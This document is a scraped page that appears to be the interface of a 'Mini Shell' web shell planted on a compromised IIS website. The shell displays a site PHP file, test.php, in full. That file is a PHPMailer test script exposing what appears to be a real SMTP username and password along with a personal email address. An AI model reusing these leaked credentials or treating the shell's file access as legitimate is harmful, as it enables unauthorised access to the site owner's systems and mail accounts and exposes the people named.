HOME


Mini Shell 1.0
DIR:C:/Inetpub/vhosts/yantrashilpa.com/httpdocs/
Upload File :
Current File : C:/Inetpub/vhosts/yantrashilpa.com/httpdocs/test.php
<?php
/*error_reporting(-1);
ini_set('display_errors', 'On');
set_error_handler("var_dump");
$to = "info@yantrashilpa.com";
$subject = "My subject";
$txt = "Hello world!";
$headers = "From: 	info@yantrashilpa.com" . "\r\n";

if(mail($to,$subject,$txt,$headers)){
  echo 'send';
}else{
    echo 'not send';
} */


$mail = new PHPMailer();

// Settings
$mail->IsSMTP();
$mail->CharSet = 'UTF-8';

$mail->Host       = "mail.yantrashilpa.com";    // SMTP server example
$mail->SMTPDebug  = 1;                     // enables SMTP debug information (for testing)
$mail->SMTPAuth   = true;                  // enable SMTP authentication
$mail->Port       = 25;                    // set the SMTP port for the GMAIL server
$mail->Username   = "yantrash";            // SMTP account username example
$mail->Password   = "*e39aW9jSw6X?P";            // SMTP account password example

// Content
$mail->setFrom('info@yantrashilpa.com');   
$mail->addAddress('gokulkhan@gmail.com');

$mail->isHTML(true);                       // Set email format to HTML
$mail->Subject = 'Here is the subject';
$mail->Body    = 'This is the HTML message body <b>in bold!</b>';
$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

$status=$mail->send();
print_r($status);
?>